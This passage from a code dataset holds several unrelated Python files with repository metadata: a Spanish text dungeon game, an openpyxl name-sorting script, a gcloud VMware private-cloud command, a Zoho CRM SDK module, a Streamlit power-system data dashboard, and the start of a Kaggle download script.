piso? [S]í/[N]o: \")\n if escalera==\"s\" or escalera==\"S\":\n if player.piso==1:\n player.piso=2\n player.cuarto=nivel2.cuartos.index('A')\n showMap(player, nivel2, nivel1, nivel2, nivel3)\n elif player.piso==2:\n player.piso=3\n player.cuarto=nivel3.cuartos.index('A')\n showMap(player, nivel3, nivel1, nivel2, nivel3)\n elif nivelActual.cuartos[player.cuarto]==\"X\":\n print(\"Aquí solía haber una Fogata de Recuperación...\")\n\n else:\n print(\"Te encuentras en un cuarto vacío... por ahora.\")\n showMap(player, nivelActual, nivel1, nivel2, nivel3)\n\ndef getEnemigo(nivel):\n i=0\n if nivel.piso == 1:\n enemyTable=[35,35,20,10]\n choice=random.randint(0,100)\n print(choice)\n while choice>enemyTable[i]:\n choice=choice-enemyTable[i]\n i=i+1\n if i==0:\n enemy=monster.Ratman()\n elif i==1:\n enemy=monster.Skeleton()\n elif i==2:\n enemy=monster.Golem()\n elif i==3:\n enemy=monster.Necrorat()\n elif nivel.piso == 2:\n enemyTable=[40,30,20,10]\n choice=random.randint(0,100)\n print(choice)\n while choice>enemyTable[i]:\n choice=choice-enemyTable[i]\n i=i+1\n if i==0:\n enemy=monster.Skeleton()\n elif i==1:\n enemy=monster.Explosive()\n elif i==2:\n enemy=monster.Sombra()\n elif i==3:\n enemy=monster.Acolyte()\n return enemy\n\ndef combate(player, enemy, nivel, nivel1, nivel2, nivel3):\n os.system(\"clear\")\n if player.vida<=0:\n muerte(player)\n if player.dementia>=100:\n muerte(player)\n print(\"\\nCombate contra: \"+enemy.nombre+\"!!!\")\n print(\"\\x1b[1;31;47mHP Enemiga: \"+str(enemy.vida)+\"/\"+str(enemy.vidaMax))\n print(\"\\x1b[1;32;47mHP Propia: \"+str(player.vida)+\"/\"+str(player.vidaMax))\n print(\"\\n\\x1b[m\\x1b[1;31mFuerza:\"+str(player.fuerza)+\" (\"+str(player.vidaMax)+\"HP Máxima)\")\n print(\"\\x1b[1;32mAgilidad:\"+str(player.agilidad)+\" (\"+str(player.esquiva)+\"% Esquivar Ataque)\")\n print(\"\\x1b[1;34mSabiduría:\"+str(player.sabiduria)+\" (\"+str(player.revivir)+\"% Sobrevivir Golpe Fatal)\")\n esquivaDementia=int(player.dementia/10)*5\n dmgDementia=int(player.dementia/10)\n print(\"\\x1b[1;31;45mDementia: \"+str(player.dementia)+\"/100 (+\"+str(dmgDementia)+\"pts daño extra/+\"+str(esquivaDementia)+\"% fallar ataque.)\\x1b[m\")\n print(\"\\n\\x1b[mLista de comandos:\")\n if player.nombre==\"Barbaro\":\n print(\"[1] Atacar: usa tu FUERZA para atacar al enemigo. Pasivo: +1daño por cada 3pts HP faltante\")\n print(\"[2] Hemorragia (2pt daño al principio del turno enemigo, durante 4 turnos) CARGAS: \"+str(player.carga1))##TRES CARGAS\n print(\"[3] Berserker (Sacrifica 50% HP actual, inflinge 60% de daño de la HPmax enemiga) CARGAS: \"+str(player.carga2))##UNA CARGA\n elif player.nombre==\"Arquera\":\n print(\"[1] Atacar: usa tu AGILIDAD para atacar al enemigo. Pasivo: 25% de hacer x1.5 daño (Redon. hacia abajo)\")\n print(\"[2] Flecha de Hielo (El enemigo pierde tres turnos) CARGAS: \"+str(player.carga1))##DOS CARGAS\n print(\"[3] Apuntar y Disparar (En el siguiente turno inflinges CUADRUPLE daño) CARGAS: \"+str(player.carga2))##UNA CARGA\n elif player.nombre==\"Brujo\":\n print(\"[1] Atacar: usa tu SABIDURIA para atacar al enemigo. Pasivo: el daño regresa como HP, puedes sobrepasar tu HP Máxima por 5 pts\")\n print(\"[2] Ritual de Sangre (5pt daño, pero sacrificas 2pt HP) CARGAS: \"+str(player.carga1))##CINCO CARGAS\n print(\"[3] Traspasar Alma (En dos turnos absorbes TODA la vida del enemigo, matándolo inmediatamente) CARGAS: \"+str(player.carga2))##UNA CARGA\n elif player.nombre==\"Paladin\":\n print(\"[1] Atacar: usa tu FUERZA para atacar al enemigo. Pasivo: Cada turno quemas al enemigo con tu Aura Sagrada por \"+str(player.auraSagrada)+\" de daño.\")\n print(\"[2] Rezo Sacro (Pierdes el turno en aumentar tu Aura Sagrada en +2) CARGAS: \"+str(player.carga1))##CINCO CARGAS\n print(\"[3] Castigo Divino (Ataque normal + x2 Aura Sagrada. Regresa tu Aura Sagrada a 1.) CARGAS: \"+str(player.carga2))##UNA CARGA\n elif player.nombre==\"Asesina\":\n print(\"[1] Atacar: usa tu AGILIDAD para atacar al enemigo. Pasivo: ???\")\n elif player.nombre==\"Bardo\":\n print(\"[1] Atacar: usa tu SABIDURIA para atacar al enemigo. Pasivo: ???\")\n print(\"[4] Poción: usar una poción para recuperar 2/3 de tu HP Máxima y reducir tu Dementia en -10. Pociones: \"+str(player.pociones)+\"\\n\")\n if player.estado==\"preparando\" or player.estado==\"preparando2\":\n player.hechizo2(enemy)\n else:\n acc=input(\"¿Qué deseas hacer?: \")\n if acc==\"1\":\n player.atacar(enemy)\n elif acc==\"2\":\n player.hechizo1(enemy)\n elif acc==\"3\":\n player.hechizo2(enemy)\n elif acc==\"4\":\n player.pocion()\n else:\n combate(player, enemy, nivel, nivel1, nivel2, nivel3)\n time.sleep(1)\n enemy.pensar(player)\n time.sleep(2)\n if enemy.vida>0:\n combate(player, enemy, nivel, nivel1, nivel2, nivel3)\n else:\n player.exp+=enemy.exp\n player.levelUp()\n showMap(player, nivel, nivel1, nivel2, nivel3)\n\ndef muerte(player):\n if player.vida<=0:\n print(\"\\x1b[1;;45mTu HP ha llegado a 0! Has muerto! Se borrarán tus guardados...\\x1b[m\")\n elif player.dementia>=100:\n print(\"\\x1b[1;;45mTu Dementia ha llegado a 100! Has muerto! Se borrarán tus guardados...\\x1b[m\")\n os.remove(\"archivo1.dem\")\n os.remove(\"archivo2.dem\")\n exit()\n\nos.system(\"clear\")\ninicio=menu()\nif inicio==\"barb\":\n player=heroes.Barbaro()\n nivel1 = Nivel(1)\n nivel2 = Nivel(2)\n nivel3 = Nivel(3)\n player.cuarto=nivel1.cuartos.index('A')\n showMap(player, nivel1, nivel1, nivel2, nivel3)\nelif inicio==\"arqu\":\n player=heroes.Arquera()\n nivel1 = Nivel(1)\n nivel2 = Nivel(2)\n nivel3 = Nivel(3)\n player.cuarto=nivel1.cuartos.index('A')\n showMap(player, nivel1, nivel1, nivel2, nivel3)\nelif inicio==\"bruj\":\n player=heroes.Brujo()\n nivel1 = Nivel(1)\n nivel2 = Nivel(2)\n nivel3 = Nivel(3)\n player.cuarto=nivel1.cuartos.index('A')\n showMap(player, nivel1, nivel1, nivel2, nivel3)\nelif inicio==\"load\":\n player=loadPlayer()\n nivel1=loadMap(1)\n nivel2=loadMap(2)\n nivel3=loadMap(3)\n if player.piso == 1:\n showMap(player, nivel1, nivel1, nivel2, nivel3)\n elif player.piso == 2:\n showMap(player, nivel2, nivel1, nivel2, nivel3)\n elif player.piso == 3:\n showMap(player, nivel3, nivel1, nivel2, nivel3)\n","repo_name":"Zarzwag/Dementia","sub_path":"PruebaMapa.py","file_name":"PruebaMapa.py","file_ext":"py","file_size_in_byte":16357,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22302898483","text":"#fullname.py\r\nfrom openpyxl import Workbook\r\n\r\nexcelfile = Workbook()\r\nsheet = excelfile.active\r\nallname = ['Prayut',\r\n 'Taksin',\r\n 'Parina',\r\n 'Mongkolkit',\r\n 'Prawit',\r\n 'Tanatorn',\r\n 'Chatchat',\r\n 'Sudarat',\r\n 'Anuthin',\r\n 'Somchai']\r\n\r\ncheckname = {} #นับว่าแต่ละตัวอักษรมีเท่าไร\r\n\r\nfor nm in allname:\r\n #print(nm[0])\r\n\r\n if nm[0] not in checkname.keys():\r\n checkname[nm[0]] = 1\r\n sheet[nm[0]+'1'] = nm\r\n else:\r\n checkname[nm[0]] = checkname[nm[0]] + 1\r\n sheet[nm[0] + str(checkname[nm[0]])] = nm\r\n\r\nprint(checkname)\r\n\r\nexcelfile.save('Allname.xlsx')\r\n \r\n \r\n\r\n\r\n","repo_name":"UncleEngineer/python-excel","sub_path":"fullname.py","file_name":"fullname.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"35141283876","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nfrom googlecloudsdk.api_lib.vmware.privateclouds import PrivateCloudsClient\nfrom googlecloudsdk.calliope import base\nfrom googlecloudsdk.command_lib.util.args import labels_util\nfrom googlecloudsdk.command_lib.vmware import flags\nfrom googlecloudsdk.core import log\n\nDETAILED_HELP = {\n 'DESCRIPTION':\n \"\"\"\n Create a VMware Engine private cloud. Private cloud creation is considered finished when the private cloud is in READY state. Check the progress of a private cloud using `{parent_command} list`.\n \"\"\",\n 'EXAMPLES':\n \"\"\"\n To create a private cloud in the ``us-west2-a'' zone using ``standard-72'' nodes that connects to the ``default-vpc'' VPC network of another project, run:\n\n\n $ {command} my-private-cloud --location=us-west2-a --project=my-project --cluster=my-management-cluster --node-type=standard-72 --node-count=3 --management-range=192.168.0.0/24 --network=default-vpc --network-project=another-project\n\n Or:\n\n $ {command} my-private-cloud --cluster=my-management-cluster --node-type=standard-72 --node-count=3 --management-range=192.168.0.0/24 --network=default-vpc --network-project=another-project\n\n In the second example, the project and location are taken from gcloud properties core/project and compute/zone.\n \"\"\",\n}\n\n\n@base.ReleaseTracks(base.ReleaseTrack.ALPHA)\nclass CreateAlpha(base.CreateCommand):\n \"\"\"Create a VMware Engine private cloud.\"\"\"\n\n detailed_help = DETAILED_HELP\n\n @staticmethod\n def Args(parser):\n \"\"\"Register flags for this command.\"\"\"\n flags.AddPrivatecloudArgToParser(parser, positional=True)\n flags.AddClusterArgToParser(parser, positional=False)\n flags.AddNodeTypeArgToParser(parser)\n parser.add_argument(\n '--description',\n help=\"\"\"\\\n Text describing the private cloud\n \"\"\")\n parser.add_argument(\n '--node-count',\n required=True,\n type=int,\n help=\"\"\"\\\n Node type to use for management cluster nodes. To get a list of available node types, run `{grandparent_command} nodetypes list`.\n \"\"\")\n parser.add_argument(\n '--management-range',\n required=True,\n help=\"\"\"\\\n IP address range in the private cloud to use for management appliances, in CIDR format. Use an IP address range that meets the [VMware Engine networking requirements](https://cloud.google.com/vmware-engine/docs/quickstart-networking-requirements).\n \"\"\")\n parser.add_argument(\n '--network',\n required=True,\n help=\"\"\"\\\n Network ID of the Google Cloud VPC network to connect with your private cloud.\n \"\"\")\n parser.add_argument(\n '--network-project',\n required=False,\n help=\"\"\"\\\n Project ID or project name of the VPC network. Use this flag when the VPC network is in another project.\n \"\"\")\n parser.add_argument(\n '--node-custom-core-count',\n required=False,\n hidden=True,\n type=int,\n help=\"\"\"\\\n Customized number of virtual cores to use for each node of the management cluster. To get a list of valid values for your node type, run the `{grandparent_command} nodetypes describe` command and reference the `availableCustomCoreCounts` field in the output.\n \"\"\")\n labels_util.AddCreateLabelsFlags(parser)\n\n def Run(self, args):\n privatecloud = args.CONCEPTS.private_cloud.Parse()\n client = PrivateCloudsClient()\n operation = client.Create(privatecloud, args.labels, args.description,\n args.cluster, args.node_type, args.node_count,\n args.management_range, args.network,\n args.network_project, args.node_custom_core_count)\n log.CreatedResource(operation.name, kind='private cloud', is_async=True)\n\n\n@base.Hidden\n@base.ReleaseTracks(base.ReleaseTrack.BETA)\nclass CreateBeta(CreateAlpha):\n \"\"\"Create a VMware Engine private cloud.\"\"\"\n","repo_name":"boostcampaitech2/final-project-level3-cv-15","sub_path":"serving/google-cloud-sdk/lib/surface/vmware/privateclouds/create.py","file_name":"create.py","file_ext":"py","file_size_in_byte":4093,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"14691519272","text":"try:\n\tfrom zcrmsdk.src.com.zoho.crm.api.exception import SDKException\n\tfrom zcrmsdk.src.com.zoho.crm.api.parameter_map import ParameterMap\n\tfrom zcrmsdk.src.com.zoho.crm.api.util import APIResponse, CommonAPIHandler, Constants\n\tfrom zcrmsdk.src.com.zoho.crm.api.param import Param\nexcept Exception:\n\tfrom ..exception import SDKException\n\tfrom ..parameter_map import ParameterMap\n\tfrom ..util import APIResponse, CommonAPIHandler, Constants\n\tfrom ..param import Param\n\n\nclass WizardsOperations(object):\n\tdef __init__(self):\n\t\t\"\"\"Creates an instance of WizardsOperations\"\"\"\n\t\tpass\n\n\tdef get_wizards(self):\n\t\t\"\"\"\n\t\tThe method to get wizards\n\n\t\tReturns:\n\t\t\tAPIResponse: An instance of APIResponse\n\n\t\tRaises:\n\t\t\tSDKException\n\t\t\"\"\"\n\n\t\thandler_instance = CommonAPIHandler()\n\t\tapi_path = ''\n\t\tapi_path = api_path + '/crm/v2.1/settings/wizards'\n\t\thandler_instance.set_api_path(api_path)\n\t\thandler_instance.set_http_method(Constants.REQUEST_METHOD_GET)\n\t\thandler_instance.set_category_method(Constants.REQUEST_CATEGORY_READ)\n\t\ttry:\n\t\t\tfrom zcrmsdk.src.com.zoho.crm.api.wizards.response_handler import ResponseHandler\n\t\texcept Exception:\n\t\t\tfrom .response_handler import ResponseHandler\n\t\treturn handler_instance.api_call(ResponseHandler.__module__, 'application/json')\n\n\tdef get_wizard_by_id(self, wizard_id, param_instance=None):\n\t\t\"\"\"\n\t\tThe method to get wizard by id\n\n\t\tParameters:\n\t\t\twizard_id (int) : An int representing the wizard_id\n\t\t\tparam_instance (ParameterMap) : An instance of ParameterMap\n\n\t\tReturns:\n\t\t\tAPIResponse: An instance of APIResponse\n\n\t\tRaises:\n\t\t\tSDKException\n\t\t\"\"\"\n\n\t\tif not isinstance(wizard_id, int):\n\t\t\traise SDKException(Constants.DATA_TYPE_ERROR, 'KEY: wizard_id EXPECTED TYPE: int', None, None)\n\t\t\n\t\tif param_instance is not None and not isinstance(param_instance, ParameterMap):\n\t\t\traise SDKException(Constants.DATA_TYPE_ERROR, 'KEY: param_instance EXPECTED TYPE: ParameterMap', None, None)\n\t\t\n\t\thandler_instance = CommonAPIHandler()\n\t\tapi_path = ''\n\t\tapi_path = api_path + '/crm/v2.1/settings/wizards/'\n\t\tapi_path = api_path + str(wizard_id)\n\t\thandler_instance.set_api_path(api_path)\n\t\thandler_instance.set_http_method(Constants.REQUEST_METHOD_GET)\n\t\thandler_instance.set_category_method(Constants.REQUEST_CATEGORY_READ)\n\t\thandler_instance.set_param(param_instance)\n\t\ttry:\n\t\t\tfrom zcrmsdk.src.com.zoho.crm.api.wizards.response_handler import ResponseHandler\n\t\texcept Exception:\n\t\t\tfrom .response_handler import ResponseHandler\n\t\treturn handler_instance.api_call(ResponseHandler.__module__, 'application/json')\n\n\nclass GetWizardbyIDParam(object):\n\tlayout_id = Param('layout_id', 'com.zoho.crm.api.Wizards.GetWizardbyIDParam')\n","repo_name":"zoho/zohocrm-python-sdk-2.1","sub_path":"zcrmsdk/src/com/zoho/crm/api/wizards/wizards_operations.py","file_name":"wizards_operations.py","file_ext":"py","file_size_in_byte":2649,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"23331850476","text":"import streamlit as st\r\nfrom streamlit_option_menu import option_menu\r\nimport sqlalchemy\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom wordcloud import WordCloud\r\nimport plotly.express as px\r\nimport plotly.graph_objects as go\r\n#Database Utility Class\r\nfrom sqlalchemy.engine import create_engine\r\n# Provides executable SQL expression construct\r\nfrom sqlalchemy.sql import text\r\nimport toml\r\nfrom plotly.subplots import make_subplots\r\n\r\n\r\n# Reading data\r\ntoml_data = toml.load(r\"C:\\Users\\sshas\\Desktop\\Dashboard\\.streamlit\\secrets.toml\")\r\n# toml_data = toml.load(\"C:/Users/HP/.streamlit/secrets.toml\")\r\n# saving each credential into a variable\r\nHOST_NAME = toml_data['postgres']['host']\r\nDATABASE = toml_data['postgres']['dbname']\r\nPASSWORD = toml_data['postgres']['password']\r\nUSER = toml_data['postgres']['user']\r\nPORT = toml_data['postgres']['port']\r\n\r\n\r\n# Using the variables we read from secrets.toml\r\n# mydb = connection.connect(host=HOST_NAME, database=DATABASE, user=USER, passwd=PASSWORD, use_pure=True)\r\n\r\nclass PostgresqlDB:\r\n def __init__(self,user_name,password,host,port,db_name):\r\n self.user_name = user_name\r\n self.password = password\r\n self.host = host\r\n self.port = port\r\n self.db_name = db_name\r\n self.engine = self.create_db_engine()\r\n\r\n def create_db_engine(self):\r\n try:\r\n db_uri = 'postgresql+psycopg2://{user_name}:{password}@{host}:{port}/{db_name}'.format(\r\n user_name=self.user_name,password=self.password,\r\n host=self.host,db_name=self.db_name,port=self.port)\r\n return create_engine(db_uri)\r\n except Exception as err:\r\n raise RuntimeError(f'Failed to establish connection -- {err}') from err\r\n\r\n def execute_dql_commands(self,stmnt,values=None):\r\n \r\n try:\r\n with self.engine.connect() as conn:\r\n if values is not None:\r\n result = conn.execute(stmnt,values)\r\n else:\r\n result = conn.execute(stmnt)\r\n return result\r\n except Exception as err:\r\n print(f'Failed to execute dql commands -- {err}')\r\n \r\n def execute_ddl_and_dml_commands(self,stmnt,values=None):\r\n connection = self.engine.connect()\r\n trans = connection.begin()\r\n try:\r\n if values is not None:\r\n result = connection.execute(stmnt,values)\r\n else:\r\n result = connection.execute(stmnt)\r\n trans.commit()\r\n connection.close()\r\n print('Command executed successfully.')\r\n except Exception as err:\r\n trans.rollback()\r\n print(f'Failed to execute ddl and dml commands -- {err}')\r\n\r\n\r\n\r\n#Defining Db Credentials\r\nUSER_NAME = 'postgres'\r\nPASSWORD = ''\r\nPORT = 5432\r\nDATABASE_NAME = 'newdb'\r\nHOST = 'localhost'\r\n\r\n#Note - Database should be created before executing below operation\r\n#Initializing SqlAlchemy Postgresql Db Instance\r\ndb = PostgresqlDB(user_name=USER_NAME,\r\n password=PASSWORD,\r\n host=HOST,port=PORT,\r\n db_name=DATABASE_NAME)\r\n\r\n\r\n\r\n\r\nst.title(\"POWER SYSTEM DATA\")\r\nst.write(\"QUERIES RELATED TO POWER SYSTEM DATA ARE DONE IN THIS PAGE\")\r\n\r\ndisplay=0\r\n\r\n\r\nselected1= option_menu(\r\n menu_title =\"Select the query you need from below\",\r\n options=[\"SHOW THE INPUT WAVEFORM\"],)\r\n\r\n\r\n\r\n\r\nst.title(\"POWER SYSTEM DATA\")\r\nst.write(\"QUERIES RELATED TO POWER SYSTEM DATA ARE DONE IN THIS PAGE\")\r\n\r\n# Add an option to exit the app\r\nexit_option = \"Exit the app\"\r\n\r\n# Define the options for the option_menu\r\noptions = [\"SHOW THE INPUT WAVEFORM\", \"SHOW THE OUTPUT WAVEFORM\",exit_option]\r\n\r\n# Get the selected option from the option_menu\r\nselected1 = st.selectbox(\"Select the action you want to perform\", options)\r\n\r\n# Check if the exit option is selected\r\nif selected1 == exit_option:\r\n st.warning(\"Exiting the app...\")\r\n st.stop()\r\n\r\nif selected1 == \"SHOW THE INPUT WAVEFORM\":\r\n select_query_stmnt1 = text(\"SELECT * FROM input LIMIT 240 ;\") \r\n\r\n result_1 = db.execute_dql_commands(select_query_stmnt1)\r\n\r\n result_1 = pd.DataFrame(result_1)\r\n\r\nelif selected1==\"SHOW THE OUTPUT WAVEFORM\":\r\n select_query_stmnt1 = text(\"SELECT * FROM output LIMIT 100 ;\") \r\n\r\n result_1 = db.execute_dql_commands(select_query_stmnt1)\r\n\r\n result_1 = pd.DataFrame(result_1)\r\n\r\n\r\n\r\nphasea=result_1[\"Phase_A_current\"].values\r\nphaseb=result_1[\"Phase_B_current\"].values\r\nphasec=result_1[\"Phase_C_current\"].values\r\ntime=result_1[\"Timestamp\"].values\r\n\r\nmeana=np.mean(phasea)\r\nmeanb=np.mean(phaseb)\r\nmeanc=np.mean(phasec)\r\n\r\nvara=np.var(phasea)\r\nvarb=np.var(phaseb)\r\nvarc=np.var(phasec)\r\n\r\nsnra = 10 * np.log10(np.mean(phasea ** 2) / np.mean((phasea - np.mean(phasea)) ** 2))\r\nsnrb = 10 * np.log10(np.mean(phaseb ** 2) / np.mean((phaseb - np.mean(phaseb)) ** 2))\r\nsnrc = 10 * np.log10(np.mean(phasec ** 2) / np.mean((phasec - np.mean(phasec)) ** 2))\r\n\r\n\r\n\r\nst.dataframe(result_1)\r\nstat_options=[\"Mean\",\"Variance\",\"Signal to Noise Ratio\"]\r\nst.write(\"<span style='font-size: 24px; font-family: Times New Roman;'>**Please select what statistical feature you want to calculate** :</span>\", unsafe_allow_html=True)\r\nstat_selected=st.selectbox(\"\", options=stat_options)\r\n\r\nif stat_selected==\"Mean\":\r\n st.text(\"The mean of the phase A current is \" + str(meana))\r\n st.text(\"The mean of the phase B current is \" + str(meanb))\r\n st.text(\"The mean of the phase C current is \" + str(meanc))\r\n \r\n fig = make_subplots(rows=3, cols=1,vertical_spacing=0.3)\r\n fig.add_trace(go.Scatter(x=np.arange(len(phasea)), y=phasea, mode='markers', name='Phase A current'), row=1, col=1)\r\n fig.add_shape(\r\n type=\"line\",\r\n x0=0,\r\n y0=meana,\r\n x1=len(phasea) - 1,\r\n y1=meana,\r\n line=dict(color='red', dash='dash'),\r\n name='Mean',\r\n row=1,\r\n col=1\r\n )\r\n \r\n fig.add_trace(go.Scatter(x=np.arange(len(phaseb)), y=phaseb, mode='markers', name='Phase B current'), row=2, col=1)\r\n fig.add_shape(\r\n type=\"line\",\r\n x0=0, \r\n y0=meanb,\r\n x1=len(phaseb) - 1,\r\n y1=meanb,\r\n line=dict(color='red', dash='dash'),\r\n name='Mean',\r\n row=2,\r\n col=1\r\n )\r\n \r\n fig.add_trace(go.Scatter(x=np.arange(len(phasec)), y=phasec, mode='markers', name='Phase C current'), row=3, col=1)\r\n fig.add_shape(\r\n type=\"line\",\r\n x0=0,\r\n y0=meanc,\r\n x1=len(phasec) - 1,\r\n y1=meanc,\r\n line=dict(color='red', dash='dash'),\r\n name='Mean',\r\n row=3,\r\n col=1\r\n )\r\n fig.update_layout(\r\n height=1200, width=800,\r\n title=\"Mean of Phase current Graph\"\r\n )\r\n fig.update_yaxes(title_text='Phase C current', row=3, col=1)\r\n fig.update_yaxes(title_text='Phase B current', row=2, col=1)\r\n fig.update_yaxes(title_text='Phase A current', row=1, col=1)\r\n for i in range(1, 4):\r\n fig.update_xaxes(\r\n range=[0, 100], # Set the initial range of the x-axis\r\n row=i, col=1,\r\n rangeslider=dict(visible=True) # Enable the rangeslider for each subplot\r\n )\r\n st.plotly_chart(fig)\r\n fig.write_image(\"figure.png\")\r\n\r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n # fig, (ax1, ax2, ax3) = plt.subplots(3, 1, figsize=(6, 12))\r\n\r\n # ax1.plot(phasea, label='Data')\r\n # ax1.axhline(meana, color='r', linestyle='--', label='Mean')\r\n # ax1.legend()\r\n # ax1.set_title('Mean Plot of Phase A')\r\n\r\n # ax2.plot(phaseb, label='Data')\r\n # ax2.axhline(meanb, color='g', linestyle='--', label='Mean')\r\n # ax2.legend()\r\n # ax2.set_title('Mean Plot 2 of Phase B')\r\n\r\n # ax3.plot(phasec, label='Data')\r\n # ax3.axhline(meanc, color='b', linestyle='--', label='Mean')\r\n # ax3.legend()\r\n # ax3.set_title('Mean Plot 3 of Phase C')\r\n\r\n # Adjust spacing between subplots\r\n\r\n # Display the plots in Streamlit\r\n\r\n \r\nelif stat_selected==\"Variance\":\r\n st.text(\"The Variance of the phase A current is \" + str(vara))\r\n st.text(\"The Variance of the phase A current is \" + str(varb))\r\n st.text(\"The Variance of the phase A current is \" + str(varc)) \r\n \r\n \r\n fig = make_subplots(rows=3, cols=1,vertical_spacing=0.3)\r\n fig.add_trace(go.Scatter(x=np.arange(len(phasea)), y=phasea, mode='markers', name='Phase A current'), row=1, col=1)\r\n fig.add_shape(\r\n type=\"line\",\r\n x0=0,\r\n y0=vara,\r\n x1=len(phasea) - 1,\r\n y1=vara,\r\n line=dict(color='red', dash='dash'),\r\n name='Mean',\r\n row=1,\r\n col=1\r\n )\r\n \r\n fig.add_trace(go.Scatter(x=np.arange(len(phaseb)), y=phaseb, mode='markers', name='Phase B current'), row=2, col=1)\r\n fig.add_shape(\r\n type=\"line\",\r\n x0=0, \r\n y0=varb,\r\n x1=len(phaseb) - 1,\r\n y1=varb,\r\n line=dict(color='red', dash='dash'),\r\n name='Mean',\r\n row=2,\r\n col=1\r\n )\r\n \r\n fig.add_trace(go.Scatter(x=np.arange(len(phasec)), y=phasec, mode='markers', name='Phase C current'), row=3, col=1)\r\n fig.add_shape(\r\n type=\"line\",\r\n x0=0,\r\n y0=varc,\r\n x1=len(phasec) - 1,\r\n y1=varc,\r\n line=dict(color='red', dash='dash'),\r\n name='Mean',\r\n row=3,\r\n col=1\r\n )\r\n fig.update_layout(\r\n height=1200, width=800,\r\n title=\"Variance of Phase current Graph\"\r\n )\r\n fig.update_yaxes(title_text='Phase C current', row=3, col=1)\r\n fig.update_yaxes(title_text='Phase B current', row=2, col=1)\r\n fig.update_yaxes(title_text='Phase A current', row=1, col=1)\r\n for i in range(1, 4):\r\n fig.update_xaxes(\r\n range=[0, 100], # Set the initial range of the x-axis\r\n row=i, col=1,\r\n rangeslider=dict(visible=True) # Enable the rangeslider for each subplot\r\n )\r\n st.plotly_chart(fig)\r\n fig.write_image(\"figure.png\")\r\nelse:\r\n st.text(\"The signal to noise ratio of the phase A current is \" + str(snra))\r\n st.text(\"The signal to noise ratio of the phase B current is \" + str(snrb))\r\n st.text(\"The signal to noise ratio of the phase C current is \" + str(snrc))\r\n \r\n fig = make_subplots(rows=3, cols=1,vertical_spacing=0.3)\r\n fig.add_trace(go.Scatter(x=np.arange(len(phasea)), y=phasea, mode='markers', name='Phase A current'), row=1, col=1)\r\n fig.add_shape(\r\n type=\"line\",\r\n x0=0,\r\n y0=snra,\r\n x1=len(phasea) - 1,\r\n y1=snra,\r\n line=dict(color='red', dash='dash'),\r\n name='Mean',\r\n row=1,\r\n col=1\r\n )\r\n \r\n fig.add_trace(go.Scatter(x=np.arange(len(phaseb)), y=phaseb, mode='markers', name='Phase B current'), row=2, col=1)\r\n fig.add_shape(\r\n type=\"line\",\r\n x0=0, \r\n y0=snrb,\r\n x1=len(phaseb) - 1,\r\n y1=snrb,\r\n line=dict(color='red', dash='dash'),\r\n name='Mean',\r\n row=2,\r\n col=1\r\n )\r\n \r\n fig.add_trace(go.Scatter(x=np.arange(len(phasec)), y=phasec, mode='markers', name='Phase C current'), row=3, col=1)\r\n fig.add_shape(\r\n type=\"line\",\r\n x0=0,\r\n y0=snrc,\r\n x1=len(phasec) - 1,\r\n y1=snrc,\r\n line=dict(color='red', dash='dash'),\r\n name='Mean',\r\n row=3,\r\n col=1\r\n )\r\n fig.update_layout(\r\n height=1200, width=800,\r\n title=\"Signal to Noise ratio of Phase current Graph\"\r\n )\r\n fig.update_yaxes(title_text='Phase C current', row=3, col=1)\r\n fig.update_yaxes(title_text='Phase B current', row=2, col=1)\r\n fig.update_yaxes(title_text='Phase A current', row=1, col=1)\r\n for i in range(1, 4):\r\n fig.update_xaxes(\r\n range=[0, 100], # Set the initial range of the x-axis\r\n row=i, col=1,\r\n rangeslider=dict(visible=True) # Enable the rangeslider for each subplot\r\n )\r\n st.plotly_chart(fig)\r\n fig.write_image(\"figure.png\")\r\n\r\n\r\n\r\n# result_1.columns=['Phase A Current', 'Phase B Current', 'Phase C Current']\r\n\r\n# # Plot the waveform data\r\n# fig, ax = plt.subplots()\r\n# ax.plot(result_1.index, result_1['Phase A Current'], label='Phase A')\r\n# ax.plot(result_1.index, result_1['Phase B Current'], label='Phase B')\r\n# ax.plot(result_1.index, result_1['Phase C Current'], label='Phase C')\r\n# ax.set_xlabel('Sample Index')\r\n# ax.set_ylabel('Current')\r\n# ax.set_title('Input Waveform')\r\n# ax.legend()\r\n\r\n# # Display the plot in Streamlit\r\n# st.pyplot(fig)\r\n\r\n\r\n\r\n \r\n","repo_name":"Shashron7/Big-Sync-","sub_path":"page2.py","file_name":"page2.py","file_ext":"py","file_size_in_byte":12265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32754904242","text":"import pandas as pd\nimport kaggle\nfrom kaggle.api.kaggle_api_extended import KaggleApi\nimport numpy as np\nimport random\n\n#get_ipython().system('pip install kaggle')\napi=KaggleApi()\napi.authenticate()\nkaggle.api.competitions_list()\nx=kaggle.api.competitions_list()\nprint(x)\n#Downloading leader dashboards\nkaggle.api.competition_leaderboard_download(\"titanic\", \"download_leaderboard/leaderboard\")\n\n\n\ndf1 = pd.read_csv(r\"C:\\Users\\oates\\OneDrive\\Belgeler\\Masters\\Bigdata\\DBs\\competitive-data-science-predict-future-sales.zip\",sep=\",\")\ndf2= 